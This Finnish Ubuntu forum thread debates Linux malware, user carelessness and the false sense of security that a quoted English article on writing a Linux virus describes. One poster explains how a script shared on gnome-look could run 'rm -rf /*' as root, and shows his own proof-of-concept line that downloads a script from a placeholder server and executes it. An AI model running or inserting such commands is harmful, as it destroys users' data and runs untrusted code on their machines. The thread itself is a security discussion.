Linuxin haavoittuvaisuus

[tetrafuran]

Rupesin tässä tutkimaan että mikä mahtaa olla linux-virusten nykyinen tilanne, ja mitään hälyttävää ei vielä tullut vastaan. Mielenkiintoista materiaalia sen sijaan tuli: How to write a Linux virus in 5 easy steps. Artikkeli on tuskastuttavan pitkä, joten tässä tulee muutama mielenkiintoinen lainaus:

But nevertheless, users can't just catch a virus by email or downloading malware from the Internet, contrary to “those Windows users”. Linux will protect them from their own stupidity. At least so the story goes. But sadly, that's not true.

A false sense of security is worse than a lack of security.

Do not underestimate user ignorance – even on Linux

You might argue that most Linux users tend to be a bit more aware of what they are doing. They usually had to make a conscious choice about their OS and therefore tend to not be your typical non-technical user. But that is changing! Some netbooks are shipped with Linux as default.

That would sound suspicious to most of us, but 'most' is not 'all' and user stupidity is everywhere.

Edelleenkin siis haitallisen koodin levittäminen edellyttää käyttäjän virhettä, sillä tämäkään järjestelmä ei ole idioottivarma. Linux ei vielä ole main-stream käyttis, mutta siihen suuntaan ollaan menossa, kun koulut ja virastot vaihtavat käyttistä. Pahantahtoiset koodarit todennäköisesti tulevat hyödyntämään tätä tilaisuutta, joten turvallisuuden illuusio saisi jo haihtua linux-käyttäjiltä.

The easiest solution to prevent this kind of problem is to not just blindly click on attachments that people have sent you. Does that sound like a sentence you have always heard in the context of Windows before? You bet. The point is: Even on Linux this advice should be taken serious.

Tuolla on muuten sitten vastauksia moniin artikkelin herättämiin kysymyksiin: Follow up: How to write a Linux virus
Koodia ei pidä välttämättä ajaa roottina ja muuta vastaavaa jännää löytyi sieltä.

[juyli]

Rupesin tässä tutkimaan että mikä mahtaa olla linux-virusten nykyinen tilanne, ja mitään hälyttävää ei vielä tullut vastaan. Mielenkiintoista materiaalia sen sijaan ---

Sinun kannattaa näissä viruskysymyksissäsi jatkaa Windows- tai muuta roskaa -palstoilla.
Linux/Unix -järjestelmät eivät oletuksena tarjoa edes riittävää tarttumispintaa viruksille.

[Storck]

Sinun kannattaa näissä viruskysymyksissäsi jatkaa Windows- tai muuta roskaa -palstoilla.

+1

[Dost]

Täällä foorumilla on jo keskusteltu aiheesta. IMHO: Linux-jakeluihin ei koskaan voi tulla läheskään sama virusongelma kuin W:n kanssa, ellei jostain jakelusta tehtäisiin periaattelisesti W-maisen.

Tietysti ei toivottuja komentoja voi aina vahingossa, tai epähuomiossa liittää päätteseen. Haittakomentojen hyväksi on, että mahdollisimman yleisesti käytetty ohjelma olisi suljettua sorsaa, tai sitä joutuisi metsästämään webbisivuilta ja suorittaa jotain ei ihan luotettavasta lähteestä olevia skripteja. Suljettua sorsaa ei voi oikein tutkia ja skripteja ihmiset ovat valmiit suorittamaan, koska nettisivuilla näin neuvotaan ja ohjelma täytyy saada toimimaan. Nykypäivänä eräs suosittu VoIP -ohjelma on esimerkkinä, mutta sen ei tiedetä tekevän mitään väärää.

Otetaan toiseksi esimerkiksi nettisivu gnome-look.org. Sinne joku laittaa jakoon jonkun animoidun taustakuvan, joka toimiakseen tarvitsee tyrkyllä olevan skriptin suorittamisen. Skripti toimii ja taustakuva elää. Skriptissä toimivien komentojen seassa voi olla haitallinen rivi. (harva ryhtyy tutkimaan rivi riviltä pitkää ja sekavaa skriptiä.) Mitään salasanoja se ei kysele, mutta seuraavan kerran kun syötät salasanan esim. Synaptikin käyttämiseen, niin käynnistät "rm -rf /*" komennon pääkäyttäjänä ja Ubuntusi on entinen. Kun väki huomaa tuossa animoidussa taustakuvassa pahan gnome-look poistaa julkaisun ja mahdollisesti antaa banaania julkaisijalle, mutta siihen mennessä ehkä jo kymmenestä Linux-jakelusta juuret on putsattu.

tetrafuran antoi linkin jossa ihmetellään .desktop tiedostojen väärinkäyttötapoja. En vielä jaksanut perehtyä syvemmin, koska oli mielessä oma idea niiden väärinkäytöstä gnomessa.
Bash-aloittelijana harjoituksen vuoksi (ja hakkeroinin vuoksi ) väsäsin oman version, jossa liitetään päätteseen rivin joka on suurinpiirtein sellainen:

Koodia: [Valitse]

wget http://jokupalvelin/badscript && chmod +x badscript && ./badscriptsitten reboottia ja avataan tavallisesti Synaptic, jolloin tuhoava komento suoritetaan pääkäyttäjänä.
Tässä video: http://www.elisanet.fi/dost/other/badscript.ogv
Esitän skriptin sisältö jos pyydetään.

Linuxin tapauksessa haavoittuvaisuus on enemmänkin ihminen, joka on hyvinkin taivuteltavissa.
http://fi.wikipedia.org/wiki/Sosiaalinen_manipulointi
http://en.wikipedia.org/wiki/Social_engineering_%28security%29

[Storck]

ja hakkeroinin vuoksi

Hakkerointi = hyvä juttu
Krakkerointi = paha juttu

Krakkeri tai kräkkeri (cracker; alkujaan englannin sanasta crack, murtaa) on henkilö, joka murtautuu tietojärjestelmään ilman järjestelmästä vastaavan tahon lupaa. Myös tietokoneohjelmien kopiosuojausten murtajaa kutsutaan krakkeriksi.

Hakkeri (engl. hacker) tarkoittaa ohjelmoijaa tai edistynyttä tietotekniikan tai verkon käyttäjää.

[Dost]

Hakkerointi = hyvä juttu
Krakkerointi = paha juttu

Nimenomaan hakkeroinnin vuoksi
Krakkerointi olisi, jos ajaisin pahan skriptin toisen koneessa ilman lupaa.

[Storck]

Nimenomaan hakkeroinnin vuoksi
Krakkerointi olisi, jos ajaisin pahan skriptin toisen koneessa ilman lupaa.

Hyvä. Tuosta silmän iskusta ei oikeen ollu varmuutta 

[tetrafuran]

Tuon artikkelin ideana oli paljastaa eräitä konsteja, joilla haitallista koodia saadaan ajettua käyttäjän tietämättä. Samalla kirjoittaja tahtoi tuoda esille, että turvallisuuden tunteelle ei pitäisi antaa sijaa, vaan näihin epäkohtiin tulisi puuttua. Jos social engineering ei lasketa, on nykyinen linux kone tietysti melko turvallinen, mutta aina siinä on parantamisen varaa. Artikkelissa kerrottiin juuri näistä huomiota vaativista kohdista.

[E.K.Virtanen]

Mikään ei ole vaarallisempaa kuin liika itsevarmuus.

Sen sijaan että aina vaan puolustetaan linuxin turvallisuutta, pitäisi keskittyä sen turvallisuuden parantamiseen jatkossakin.

Linux yleistyy ja vaikka se nyt tuntuukin varsin turvalliselta, on se kuitenkin ihmisten koodaama ja ihmiset tulee siitä jonain päivänä vielä vakavia haavoittuvuuksia löytämään.

[tetrafuran]

Ai niin ja artikkelissa tuotiin esiin myös cross-platform ohjelmien myötä tulevat riskit. Ilmeisesti siis CP ohjelmien yleistyessä myös samaa ideaa noudattavat haittaohjelmat voivat yleistyä. Tämä seikka saattaa silti jäädä kakkoseksi virheelliselle turvallisuuden tunteelle ja käyttäjän huolimattomuudelle ja tietämättömyydelle, jotka mielestäni ovat edelleen myös Windows koneen suurimmat uhat.

[Ganymedes]

No, tämähän on taas noita juttuja, jossa erilaiset mielipiteet tulevat vain siitä, että ei oikeasti ole määritelty sitä mistä oikeasti puhutaan. Teknologiassa asiat ovat enimmäkseen yksiselitteisiä, puhutussa tai kirjoitetussa kielessä taasen ei.

Otetaan esimerkiksi artikkelin tämä lause:

"Linux will protect them from their own stupidity. At least so the story goes,"

En ole vielä KOSKAAN tavannut käyttäjää joka ajattelisi näin. Koska kyseessä on englanninkieli, niin siihen voi loistavasti koodata sisään merkityksettömyyksiä - tuossakin nollataan koko asia nimeämällä tuo sanalla "story" - kuitenkin siitä kirjoitetaan ikäänkuin kyseessä olisi jokin "todellinen asia". Epäilen että kyseessä on pelkkä kaupunkilegenda - tätä tosin toistetaan, narsistisesti, joka paikassa ja varoitetaan "näitä toisia käyttäjiä" jotka ovat "näin tyhmiä" ja joilla on "väärä turvallisuudentunne".

Mutta tietysti jotta voi kirjoittaa värikkään artikkelin kannattaa ottaa värikäs ja trendikäs lähtökohta - tuohan puree moniin käyttäjiin - sehän on trendikäs, tosin aivokuollut mutta trendikäs, ajatusmalli.

Käsittääkseni tällaisiin asioihin juyli viittasi yllä - riippuu siitä mistä puhutaan, niin vastauskin on erilainen.

Sen sijaan voisi listata turvallisuusriskejä, eri järjestelmät EIVÄT ole samanlaisia, ja miettiä niihin ratkaisuja. Tässäkin mielessä on AIVAN samantekevää mitä joku ajattelee, kyse on siitä mitä Linuxiin tai Ubuntuun tai Windowsiin OIKEASTI joku TEKEE.

Tällaisia aihepiirejä liittyy turvallisuuteen, viime aikojen esimerkkien perusteella, ainakin. Sitten voisi miettiä mitkä näistä liittyvät Linuxiin, mitkä vain Ubuntuun (tai johonkin muuhun jakeluun) ja miten nämä ovat Windowissa ja Macissä.

1. Virukset (leviävät ajettavien ohjelmien mukana)

2. Madot (leviävät tietoverkossa automaattisesti ilman käyttäjän toimenpiteitä)

3. ns. Makrovirukset (leviävät aukastujen liitteiden mukana)

4. Haittaohjelmat (asentuvat koneelle normaali WEB-käytön yhteydessä)

5. Linuxin turva-aukot

6. Ohjelmistojärjestelmän, Ubuntu, turva-aukot (normaalin jakelun ohjelmat tai automaattisesti ladattavat ohjelmat)

7. Muiden ohjelmien turva-aukot (ohjelmiahan on maailma täynnä)

8. Käyttäjän huolimattomuus, täydellinen osaamattomuus (esim. phishing jossa käyttäjä antaa jollekin kännykkänsä PIN-koodin)

9. Käyttäjästä johtuvat turvariskit, joita käyttäjä ei kohtuudella voi osata hoitaa oikein (esim. Windows palomuurien esittämät tolkuttomat kysymykset)

Näiden ERILAISTEN asioiden turvariskit ovat VARSIN erilaisia eri järjestelmissä ja niiden ratkaisutkin ovat erilaisia.

En malta olla lisäämättä, että normaaliin Windows hegemoniaan (=markkinointipropaganda johon monet menevät mukaan), kuuluu, että kohdasta 8 tehdään se ainoa merkittävä jota korostetaan koska se on yhteinen kaikille järjestelmille. Samalla unohdetaan, että sillä ei ole minkään teknologian kanssa oikeastaan juuri mitään tekemistä ja se voitaisiin jopa unohtaa kun puhutaan status quo -tilanteesta jossakin ohjelmistojärjestelmässä. Joten asiaan kuulumattomattomasti asiasta tehdään se tärkein (= tyypillinen propagandan tapa).

Sen sijaan kohdat 7. ja 9, OVAT merkityksellisiä myös teknologian kannalta, koska näihin asioihin liittyvät esim. seuraavantyyppiset asiat:

- pitääkö ohjelmia metsästää ympäri nettiä tuntemattomista paikoista,
- voiko ohjelmia asentua käyttäjän tietämättä,
- pitääkö palomuuria ja virustorjuntaa käyttää,
- onko virustorjunta konfiguroitavissa helposti vai tekeekö alla oleva ohjelmistojärjestelmä siitä erittäin vaikean toimenpiteen,
- pitääkö käyttää erillistä palomuuria,
- minkälainen on jakelu suhteessa e.m. ohjelmiin esim. tuleeko sen mukana päällekkäisiä palomuureja tai virusohjelmia jotka pitää osata konfiguroida,
- pitääkö koneen olla suojatta netissä kun näitä konfiguroi vai pitääkö se olla jotenkin suojattu ja jos niin miten,
- pitääkö turvapäivitykset ladata ennen vai jälkeen näiden virusohjelmien latausten,
- voiko kone olla netissä suojatta ilman virustorjuntaa e.m. ajan

... lista on pitkä ja erittäin sekava asiaa tuntemattomalle. Nämä ovat niitä todellisia käyttäjästä riippuvia asioita jotka todella LIITTYVÄT ohjelmistojärjestelmässä käytettyyn teknologiaan.

[tetrafuran]

Tyhmyydeltä suojelemiseen voidaan varmaankin sisällyttää myös huolimattomuus, tietämättömyys ja muut semmoiset asiat, jotka tuppaavat aiheuttamaan sekasotkua koneessa.

Kyllähän windowskin suojelee itseään käyttäjän tyhmyydeltä. Windows hakemiston tiedostot eivät normaalisti ole lainkaan näkyvissä ja monien järjestelmää koskevien asioiden tekeminen vaatii lisävarmennuksia (olethan aivan varma että haluat... tämä vaatii admin oikat jne). Aikaisemmissa winukoissahan ei näin ollut. Kaverini onnistui jopa siirtämää windows hakemiston vahingossa winzip hakemistoon koska resurssienhallinnan siirto-operaatio vaatii vain huolimattoman hiiren huiskauksen. Ilmeisesti oli klikkaamassa jotain w:llä alkavaa hakemistoa ja liikauttikin vahingossa hiirtä hieman ja hakemisto siirtyi toisen sisään. Minullekin kävi vastaavia onnettomuuksia, joten opettelin käyttämään resurssienhallintaa 100% näppiksellä.

Olen huomannut, että ubuntussakin järisyttävien operaatiodien tekeminen vaatii salasanan naputtelua ja tietoa. "Vaaralliset" toiminnot on eivät ole ensimmäisenä tyrkyllä, vaan ovat hieman syrjässä ja tällaisten toimintojen tekeminen saattaa vaatia hieman ymmärrystä ja perehtymistä. Eikö tällainen suunnittelu siis suojele järjestelmää käyttäjältä? Sanoppa mitä tämä sitten on, jos ei kerran saa puhua suojelemisesta?

[Ganymedes]

On totta, että tuollaisia ominaisuuksia on tullut Vistaan ja 7:ään. En tiedä viittasitko minun listaani, mutta niistähän en puhunut.

Se, että jos käyttäjä osaamattomuuttaan tuhoaa oman järjestelmänsä ei ole turvallisuusriski vaan se on ihan hyvää luonnonvalintaa - ehkä hänen ei pitäisikään käyttää konetta ilman parempaa opettelua.

Kohdassa 4 mainitaan se, että jos järjestelmä jossain tilanteessa edes yrittää estää haittaohjelmien asentumisen.